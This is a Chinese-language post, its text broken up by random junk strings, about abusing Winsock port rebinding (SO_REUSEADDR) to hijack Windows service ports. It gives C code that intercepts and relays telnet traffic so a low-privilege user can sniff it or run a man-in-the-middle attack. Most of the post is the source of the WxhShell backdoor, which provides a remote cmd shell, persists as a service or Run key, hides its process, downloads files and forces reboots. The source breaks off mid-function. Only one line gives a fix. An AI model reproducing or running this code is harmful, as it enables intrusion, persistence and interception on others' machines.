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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: PyVC}dUAX s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U,#yqER'r [(Xy.L7x saddr.sin_family = AF_INET; 'c2W}$q De7Ts saddr.sin_addr.s_addr = htonl(INADDR_ANY); =4V&*go*\ ZkL8 e bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]]7mlQ O[tvR:Nh 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Q!-
0xlx P-F)%T[ 这意味着什么?意味着可以进行如下的攻击: 3 LDS
Z1f A.<H>=Z#O 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 H]Hv;fcC fjvN$NgVs 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) r/pH_@ Grs]d-xI 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 mxor1P#| `E+Jnu,jC 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 QaUm1i# ?
WJ> p 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^`un'5Vk S$KFf=0 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kEwaT$ ~wg:!VWA) 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X%yO5c\l2 ]7-&V-Ct* #include F,
U*yj #include SGb;!T* #include J>fQNW!{ #include +"9hWb5 DWORD WINAPI ClientThread(LPVOID lpParam); UOQEk22 int main()
+)JpUqHa { <: &* WORD wVersionRequested; a]Lp? DWORD ret; ga?*DI8w WSADATA wsaData; zdXkR] BOOL val; $kR N
h6 SOCKADDR_IN saddr; 8DP+W$ SOCKADDR_IN scaddr; %$%&m1Y int err; x.Q&$# SOCKET s; vJAZ%aW SOCKET sc; <ZU=6Hq int caddsize; Gt9&)/# HANDLE mt; O=u1u}CP? DWORD tid; o7IxJCL=Q wVersionRequested = MAKEWORD( 2, 2 ); hig2
err = WSAStartup( wVersionRequested, &wsaData ); [+O"<Ua if ( err != 0 ) { .<kqJ|SVi printf("error!WSAStartup failed!\n"); KNH1#30 K return -1; v<Bynd- } y%
:4b@< saddr.sin_family = AF_INET; l5L.5$N E=){K //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <uj8lctmP pp9Zb.D\ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); mPq$?gdp saddr.sin_port = htons(23); 1lv2@QH9 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v\(2&* { d)~Fmi; printf("error!socket failed!\n"); qI^
/"k*5 return -1; <n3!{w3< } C6rg<tCH val = TRUE; NcY608C //SO_REUSEADDR选项就是可以实现端口重绑定的 B"%{i-v>** if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @?h/B=56 { 6 uKTGc4 printf("error!setsockopt failed!\n"); &89oO@5 return -1; 0uBl>A7qhn } 2NB L}x //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; qJ0fQI\ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )BRKZQN //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +F
dB ' lJ@] [; if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ca+[0w@S { ~'R(2[L!; ret=GetLastError(); $s<Ne{? printf("error!bind failed!\n"); qCv20#!"| return -1; :;t
#\%L/ } ,o]4?- listen(s,2); ?yh}/T\qp while(1) ZE%YXG { =]k {"?j caddsize = sizeof(scaddr); b(9FZ]7S //接受连接请求 p!s}=wI` sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !
!PYP'e if(sc!=INVALID_SOCKET) znJ'iVf { {d?$m*YR3` mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1bGopi/ if(mt==NULL) *Vho?P6y\Y { y-CX}B#j printf("Thread Creat Failed!\n"); &w=3^ break; ETB6f } O:da-xWJ } +f[ED4E>'( CloseHandle(mt); I$8" N]/C } 37;$-cFE closesocket(s); jM\*A#Jo5 WSACleanup(); *cyeO* return 0; a
^%"7Ri } @)K%2Y` DWORD WINAPI ClientThread(LPVOID lpParam) M,ir`"s { C:G8c[ SOCKET ss = (SOCKET)lpParam; -,["c9'3 SOCKET sc; Iy }:F8F>g unsigned char buf[4096]; 8uA,iYD
SOCKADDR_IN saddr; [~&XL0 long num; fHZTXvxoL DWORD val; n`4K4y%Dy} DWORD ret; Znetzm=0 //如果是隐藏端口应用的话,可以在此处加一些判断 cW+t#>'r //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ^ "\R\COQ saddr.sin_family = AF_INET; _D|^.)=U| saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); f
nI| saddr.sin_port = htons(23); /Wf^hA
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F4e:ZExJ { /EG~sRvl} printf("error!socket failed!\n"); 3QpYmX<E return -1; HI@syFaJM } DLCkM*' val = 100; b"TjGE if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B<-kzt { Uo-`>7 ret = GetLastError(); \%p34K\ return -1; pJ
?~fp } >"Q@bQ:e if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t+Op@*#% { p6vKoI#T ret = GetLastError(); /y>>JxAEb return -1; mA{~PpSb } [xKd7"d/n if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) h`3eu;5) { a<fUI%_ printf("error!socket connect failed!\n"); w}CmfR closesocket(sc);
GLGz2 ,# closesocket(ss); xzx$TUL return -1; hI( SOsKs } M'!U<Y
- while(1) Y F*OU"2U { ^gFqRbuS //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 tlA"B{7 //如果是嗅探内容的话,可以再此处进行内容分析和记录 gR@C0 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 y_.!!@, num = recv(ss,buf,4096,0); QFIL)'K if(num>0) +Y+Y6Ac[} send(sc,buf,num,0); ){Ob,LEU& else if(num==0) @9&P~mo/ break; Y \:0Ev num = recv(sc,buf,4096,0); SI8%M=P> if(num>0) gsn)Wv$h send(ss,buf,num,0); Jnv@. else if(num==0) |c`w'W?C6 break; n-TQ*&h]3S } ;.bm6(; closesocket(ss); lvp8z)G closesocket(sc); =V^.}WtO return 0 ; K!KMQr` } n!qV> k9Y \.g\Zib ) )>c>oMgl ========================================================== lqb/eN9(t IVW1]y 下边附上一个代码,,WXhSHELL ,<2DLp%%D w/L ` ========================================================== "al`$ %( }E_#k]#* #include "stdafx.h" \8uIER5) lq"f[-8a2q #include <stdio.h> BAO| )~1Pd #include <string.h> J sEa23 #include <windows.h> 72veLB #include <winsock2.h> 5 B=^v#m #include <winsvc.h> F!.E5<&7= #include <urlmon.h> wYlf^~#" r4,VTy2Qe #pragma comment (lib, "Ws2_32.lib") ?^j^K-rx #pragma comment (lib, "urlmon.lib") $u/E\l +NFzSal #define MAX_USER 100 // 最大客户端连接数 ci+tdMA #define BUF_SOCK 200 // sock buffer f$'2}'.!$ #define KEY_BUFF 255 // 输入 buffer 6b!F 1 ~g7l8H67 #define REBOOT 0 // 重启 >*wtbkU #define SHUTDOWN 1 // 关机 (@#M!' 5 Qoew9rA #define DEF_PORT 5000 // 监听端口 !u]1dxa NuU9~gSQ #define REG_LEN 16 // 注册表键长度 X(7qZ
P~ #define SVC_LEN 80 // NT服务名长度 (mlzg=szW KeNL0_Pw // 从dll定义API oc^Br~ Th typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1[]&(Pa typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0D8K=h&e typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #b7$TV typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wR{'y)$ =f(cH152T // wxhshell配置信息 V
_c@ b% struct WSCFG { A 8 vbQ int ws_port; // 监听端口 6&bIXy char ws_passstr[REG_LEN]; // 口令 !a~`Bs$'jr int ws_autoins; // 安装标记, 1=yes 0=no i%6; char ws_regname[REG_LEN]; // 注册表键名
al`3Lu0 char ws_svcname[REG_LEN]; // 服务名 kapC%/6" char ws_svcdisp[SVC_LEN]; // 服务显示名 :eZh'-c? char ws_svcdesc[SVC_LEN]; // 服务描述信息 `CeJWL5{ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *:O.97q@h int ws_downexe; // 下载执行标记, 1=yes 0=no }(<%`G6N char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" hb{u'= char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1EyL#;k W0=O+0$^ }; 9!><<7TS MaD3[4@# // default Wxhshell configuration 3z]+uv+2J struct WSCFG wscfg={DEF_PORT, R=Tqj,6 "xuhuanlingzhe", 4tx|=;@0 1, 0 P[RyQI "Wxhshell", )(7&X45,k "Wxhshell", 7r{83_B "WxhShell Service", j w* IO "Wrsky Windows CmdShell Service", VAC iVKk "Please Input Your Password: ", +1~Z#^{& 1, 2!Bd2 " http://www.wrsky.com/wxhshell.exe", n$[f94d= "Wxhshell.exe" _GKB6e% }; iKas/8 phE
&7*!Q // 消息定义模块 FW"^99mrnb char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O+RP3ox" char *msg_ws_prompt="\n\r? for help\n\r#>"; RaTH\>n char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; z]3 `*/B char *msg_ws_ext="\n\rExit."; F,5r9^,_ char *msg_ws_end="\n\rQuit."; [TCP-bU char *msg_ws_boot="\n\rReboot..."; "z<azs char *msg_ws_poff="\n\rShutdown..."; Od?qz1 char *msg_ws_down="\n\rSave to "; -LM;}<
.Gcy>Av char *msg_ws_err="\n\rErr!"; +`uY]Q,O char *msg_ws_ok="\n\rOK!"; mm5$>
[%U %okzOKKX char ExeFile[MAX_PATH]; X{kpSA~ int nUser = 0; v2,%K`pAU HANDLE handles[MAX_USER]; QKE9R-KTE int OsIsNt; +-B^Z On z_
=Bt SERVICE_STATUS serviceStatus; zS< jd~ SERVICE_STATUS_HANDLE hServiceStatusHandle; 2Dd|~{% r 6eb}z!i // 函数声明 v=95_l int Install(void); C%~a`e|/Y int Uninstall(void); wZh:F
! int DownloadFile(char *sURL, SOCKET wsh); [Ei1~n)o int Boot(int flag); DKVT(#@T void HideProc(void); Ys8SDlMo int GetOsVer(void); bJ_cId8+ int Wxhshell(SOCKET wsl); Kq.:G% void TalkWithClient(void *cs); -VZRujl int CmdShell(SOCKET sock); [j4v]PE int StartFromService(void); Eq:2k)BE int StartWxhshell(LPSTR lpCmdLine); kbPE "urR 7a=S VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c)&>$S8* VOID WINAPI NTServiceHandler( DWORD fdwControl ); `Bn=?9 RwVaZJe)l // 数据结构和表定义 1oKfy>i e SERVICE_TABLE_ENTRY DispatchTable[] = :SV>+EDY { RmI1` {wscfg.ws_svcname, NTServiceMain}, {7MjP+\ {NULL, NULL} !,Zp? g) }; ^h&I H| C>Is1i^9 // 自我安装 ~ 7)A"t int Install(void) 7FO'{Qq { tvd0R$5} char svExeFile[MAX_PATH]; =e?$ M HKEY key; YwcPX`eg strcpy(svExeFile,ExeFile); A$.fv5${ //Ai.Q.J[ // 如果是win9x系统,修改注册表设为自启动 0Aa`p3.) if(!OsIsNt) { YK{a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H.G!A6bd RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KLC{7"6e) RegCloseKey(key); TzBzEiANn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @d"wAZzD? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AOrHU M[I RegCloseKey(key); 7<9L?F2 return 0; YRlDX:oX~ } [Vf}NF }
fa.0I~ } F>gmj'-^ else { (c v!Y=] !G_jGc=v // 如果是NT以上系统,安装为系统服务 3?&h^UX SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); BGzI if (schSCManager!=0) *5,c Rz { hnWo|! ,O$ SC_HANDLE schService = CreateService #=}$OFg ( &W }<:WH~ schSCManager, `P@- %T wscfg.ws_svcname, ]IJv-( wscfg.ws_svcdisp, c<+;4z SERVICE_ALL_ACCESS, %f8Qa"j SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2=ztKfsBhE SERVICE_AUTO_START, 8RwX= SERVICE_ERROR_NORMAL, t5
a7DD svExeFile, BKU'`5` NULL, ~YCuO0t NULL, fRTo.u NULL, T}7uew\v0< NULL, j[6Raf/(n NULL @;wzsh >o ); dV 8iwI if (schService!=0) x O7IzqY { rsa&Oo
D> CloseServiceHandle(schService); 8O1K[sEjui CloseServiceHandle(schSCManager); H^1gy=kdj strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R|!B,b( strcat(svExeFile,wscfg.ws_svcname); xn}BB}s{t if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *@ED}Mj+ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u}6v?! RegCloseKey(key); w?csV8ot return 0; !NKmx=I] } oN(-rWdhZ } OuIv e>8 CloseServiceHandle(schSCManager); ;K:8#XuV } %IBL0NQT } [;O^[Iybf: (foBp return 1; u@%|kc` } e,A)U5X U l Mi.;/^ // 自我卸载 g dj^df+2F int Uninstall(void) +?`b=6e(` { :u%$0p> HKEY key; >CgO<\ 6ew "fCrH! if(!OsIsNt) { 2H?d+6Pt3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n"aCt%v RegDeleteValue(key,wscfg.ws_regname); wX1ig RegCloseKey(key); fMK#x\.4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l54|Q RegDeleteValue(key,wscfg.ws_regname); FquFRx RegCloseKey(key); Tvf~P w return 0; POU}/e!Ua } e&X>F"z2 } N
b3$4(F } & 7QH^ else { 2pyt&'NJua \+qOO65/+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gp|1?L54 if (schSCManager!=0) i+M*J#' { -.vDF?@G SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :,*eX' fH if (schService!=0) 1(`M~vFDK { Qs+ k)e, if(DeleteService(schService)!=0) { >R,?hWT CloseServiceHandle(schService); jOtX
60; CloseServiceHandle(schSCManager); e-D4'lu return 0; F!KV\?eM$ } _py2kjA6 CloseServiceHandle(schService); 0kCQ0xB[a5 } J+<p+(^*v CloseServiceHandle(schSCManager); T% CxvZ }
T<jfAE } 2DMrMmLI {^RG%
&S return 1; w4MwD?i]R } @eQld\h' VTh$a_P> // 从指定url下载文件 5A_4\YpDR int DownloadFile(char *sURL, SOCKET wsh) `n-vjjG%# { I
8Y*@$h HRESULT hr; -Fwh3F4g char seps[]= "/"; ?J|4l[x char *token; 'm1. X-$V char *file; /! ^P)yU, char myURL[MAX_PATH]; QXk"?yT`E char myFILE[MAX_PATH]; u2qV 6/ MguL$W&l strcpy(myURL,sURL); aMCO"66b token=strtok(myURL,seps); 8l xY]UT while(token!=NULL) T+TF-] J { <]#o*_aFP file=token; -0~IY token=strtok(NULL,seps); r*cjOrvI
} W L~`u 0U&dq# GetCurrentDirectory(MAX_PATH,myFILE); >riq98Us/ strcat(myFILE, "\\"); XNmQ?`.2' strcat(myFILE, file); jEU'.RBN% send(wsh,myFILE,strlen(myFILE),0); \5[-Ml send(wsh,"...",3,0); Kd{#r/HZ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g{DFS[h if(hr==S_OK) 5t'Fv<g return 0; J@bW^>g*6u else Lbq_~ return 1; SgSk!lj x1DVD!0 ~{ } _.f@Y`4d -^fzsBL. // 系统电源模块 zHxmA int Boot(int flag) 9A;6x$s { wA0eG@xi) HANDLE hToken; o8D{dS>,PL TOKEN_PRIVILEGES tkp; vw
rRZ"2 %aLCH\e if(OsIsNt) { :` <psvd OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vo b$iS`>= LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); />Jm Rdf tkp.PrivilegeCount = 1; w4OW4J# tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2NR7V*A AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]GS~i+ =M if(flag==REBOOT) { rUFFF'm\*a if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "#XtDpGk return 0; y"R("j $ } ?cBO6^ else { Q eK{MF if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T 'i~_R6 return 0; .wri5 } 9[f%;WaS } o_:Qk;t else { 6<76O~hNZ if(flag==REBOOT) { 0o;~~\fq. if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #J~Xv:LgD return 0; =5_y<0`4 } #O6
EP#B else { fIEw(k<* if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C@)pmSQ return 0; rys<-i( } DrFu r(=T } 3jg'1^c y1Z1=U*! return 1; GXEcpc08 } qp1\I$Y 4f
jC // win9x进程隐藏模块 :tlE`BIp void HideProc(void) Z%;)@0~f { ) BlJ|M *zSxG[s HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); . z].:$J& if ( hKernel != NULL ) ^cb)f_90 { W2n*bNI pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ioWJj.% ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); NE[y|/ FreeLibrary(hKernel); aL 8Gnqf2 } ;&7,73! y*(_\\ return; 9RB`$5F;
} '2wCP
EC -4%]QS // 获取操作系统版本 <4sj@C int GetOsVer(void) #'c%
{ ,M{Q}:$+4 OSVERSIONINFO winfo; Rj&qh` winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pzAoq)gg: GetVersionEx(&winfo); !(yT7#?hP if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uwId return 1; rx}*u3x=
else F1\`l{B,\ return 0; *78)2)=~ } .5^a;`-+ fo;6huz // 客户端句柄模块 uNg'h/^NZ| int Wxhshell(SOCKET wsl) Vbo5`+NAis { ])S$x{.g SOCKET wsh; /bi6>GaC:E struct sockaddr_in client; To">DOt DWORD myID; 'hy?jQ'|e $59nu7yr while(nUser<MAX_USER) a0{[P$$ { v*vn<nPAQ> int nSize=sizeof(client); psu OJ- wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d<_NB]V&F if(wsh==INVALID_SOCKET) return 1; s`r-v/3l Ia'x]#~ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u8^Y,LN if(handles[nUser]==0) W?=$V>) closesocket(wsh); 7Zo&+ else PE|PwqX nUser++; =g >.X9lr } Pu-p7:99;' WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RP(a,D| KS?mw`Nr return 0; JxnuGkE0[# } l:q8Pg) T
G_bje // 关闭 socket CJv>/#$/F void CloseIt(SOCKET wsh) 8,_ -0_^$ { y&y/cML? closesocket(wsh); Rnzqw,q nUser--; B( 8mH ExitThread(0); UKOFT6| } qP&byEs" !e&rVoA // 客户端请求句柄 2+,5p void TalkWithClient(void *cs) |7]?>- { Yg[ v/[] _Q)d+Fl SOCKET wsh=(SOCKET)cs; |.Em_*VG char pwd[SVC_LEN]; Z@}sCZ=#A char cmd[KEY_BUFF]; %v_IX2' char chr[1]; G5Je{N8W int i,j; 2YE7 23H=Z 3IGCl w( while (nUser < MAX_USER) { C1KfXC*|L Q
js2hj-$ if(wscfg.ws_passstr) { Sf=F cb if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O@nqHZ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E(%
XVr0W //ZeroMemory(pwd,KEY_BUFF); AfUZO^< i=0; qQL.c+%L while(i<SVC_LEN) { 5dqQws-,?1 8^8>qSD1 // 设置超时 qw|JJ fd_set FdRead; o>@=N2n struct timeval TimeOut; sZ]'DH&_( FD_ZERO(&FdRead); _2]O^$L FD_SET(wsh,&FdRead); HOq4i! TimeOut.tv_sec=8; 5/tj TimeOut.tv_usec=0; /731.l int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l6V%"Lo/) if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v#iFQVBq Cy<T Vk8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L'13BRu` pwd =chr[0]; &S<?07Z if(chr[0]==0xd || chr[0]==0xa) { x)j/ pwd=0; SOhSg]g break; c[&d @ } LE8K)i i++; w~4
z@/^"p } =x=1uXQv5 yQ8M >H#J // 如果是非法用户,关闭 socket ;&If9O1 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O;UiYrXU } 8n;kK? @55bE\E?@ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^I@ey*$ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); anK[P'Y (~=Qufy while(1) { 'CS^2Z mr@_%U ZeroMemory(cmd,KEY_BUFF); #!w:_T% TG4\%S$w // 自动支持客户端 telnet标准 YfTd j=0; ~^^!"- while(j<KEY_BUFF) { Rl y jOf{0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /z/hUa cmd[j]=chr[0]; |.y>[+Qb* if(chr[0]==0xa || chr[0]==0xd) { L& I`
# cmd[j]=0; 4\&H?:c. break; ?UxG/]", } BO8%:/37[4 j++; cC b>zI } ^Yf3"D?& w/qQ(]n8 // 下载文件 uG2Xkj if(strstr(cmd,"http://")) { ARmu{cL send(wsh,msg_ws_down,strlen(msg_ws_down),0); BXT80a\ if(DownloadFile(cmd,wsh)) n"XdHW0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tq9,c#}& else 8o! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )WaX2uDA? } _u#/u2< else { Qe7"Z <dq,y> switch(cmd[0]) { R"m.&%n 'wCS6_K // 帮助 -$AjD?; case '?': { 0\V\qAk send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DfAiL( break; oN.Mra]D } (xucZ // 安装 &W&7bZ$; case 'i': { +`Q
PBj^ if(Install()) CHQ{+?# send(wsh,msg_ws_err,strlen(msg_ws_err),0); |hu"5* else 2v"wWap-+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (nkUeQQN break; _pY } +#|'|}j // 卸载 ;6DR.2}?> case 'r': { p6<E=5RRd1 if(Uninstall()) ~z\pI|DQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); L@C >-F|p else #cw!
& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k\4g|Lya break; 2AdX)iF@ } lH6Cd/a // 显示 wxhshell 所在路径 ph Wc8[Q case 'p': { w:m'uB%W char svExeFile[MAX_PATH]; ],BJ}~v,X strcpy(svExeFile,"\n\r"); Xulh.:N} strcat(svExeFile,ExeFile); vS~AxeW/7R send(wsh,svExeFile,strlen(svExeFile),0); F7k4C2r break; C\;;9
} fMWXo)rzj // 重启 (1j(*
?2 case 'b': { @/_XS4 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [{6&.v if(Boot(REBOOT)) vG'vgUo send(wsh,msg_ws_err,strlen(msg_ws_err),0); &M!4]pow else { H j>L>6> closesocket(wsh); d_4n0Kh0 ExitThread(0); ;n yB } R*JOiVAC break; RM?_15m } rnzsfr-|(2 // 关机 ,gAr|x7_ case 'd': { jK ? send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !mw{T D if(Boot(SHUTDOWN)) +~R.7NE% send(wsh,msg_ws_err,strlen(msg_ws_err),0); wZ
(uq?3S` else { H;7O\ closesocket(wsh); S+` !%hJ ExitThread(0); K9x*Sep
} w\0Oz?N break;
y)N.LS } asm[-IB2u // 获取shell \GjXsR*b5 case 's': { PO=ZxG CmdShell(wsh); Q1N,^71 closesocket(wsh); {GGO')p ExitThread(0); Y\Fuj) break; !Szgph"ul } Vp- n(Z // 退出 6E*Zj1KX case 'x': { Q%gY.n{= send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @B>%B EC CloseIt(wsh); : L6-{9$ break; GI'&g@?u } F1Zk9%L%9$ // 离开 a=}">=]7 case 'q': { N7j]yvE send(wsh,msg_ws_end,strlen(msg_ws_end),0); FM@W>+ closesocket(wsh); ByB0>G''. WSACleanup();
mCEKEX exit(1); 8KtF<`A) break; I&Eg-96@ } N#2nH1C } '|dKg"Yl } &9jUf:g J0 +e{djp@m // 提示信息 8V53+]c$Y if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); skmDsZzw
} P /f ~ } K>DnD0 z=8_%r return; X*p:&=o } #nMP(ShK %(O^as // shell模块句柄 K4VPmkG int CmdShell(SOCKET sock) Is,*qrl : { RY'\mt"W2 STARTUPINFO si; <O`q3u'l ZeroMemory(&si,sizeof(si));
'%JMnU si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; RmCn&-i si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5. +$v4 PROCESS_INFORMATION ProcessInfo; aaqjE
char cmdline[]="cmd"; *$WiJ3'(m CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?tal/uC return 0; `rOe5Zp$ } -mWw.SfEZ $48[!QE // 自身启动模式 i,U-H\p& int StartFromService(void) ^/5E773 { !513rNO typedef struct Wpg?%+Y { Z?G3d(YT DWORD ExitStatus; 01SFOPuR%( DWORD PebBaseAddress; ;jY'z5PH5 DWORD AffinityMask; wtgO;w DWORD BasePriority; w4&v( m ULONG UniqueProcessId; 5p>]zij> ULONG InheritedFromUniqueProcessId; A=2nj } PROCESS_BASIC_INFORMATION; TTw~.x, }@Ll!, PROCNTQSIP NtQueryInformationProcess; L>R!A3G1 1{uDHB static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JY,l#?lM{ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V.OoZGE>] Nr*ibtz|D HANDLE hProcess; y&O_Jyg< PROCESS_BASIC_INFORMATION pbi; dT0z^SG 0UAr}H.: HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ph|2lLZ if(NULL == hInst ) return 0; ph$&f0A6Xc /[)P^L` g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |RbUmuj g_pGetModuleBaseName = 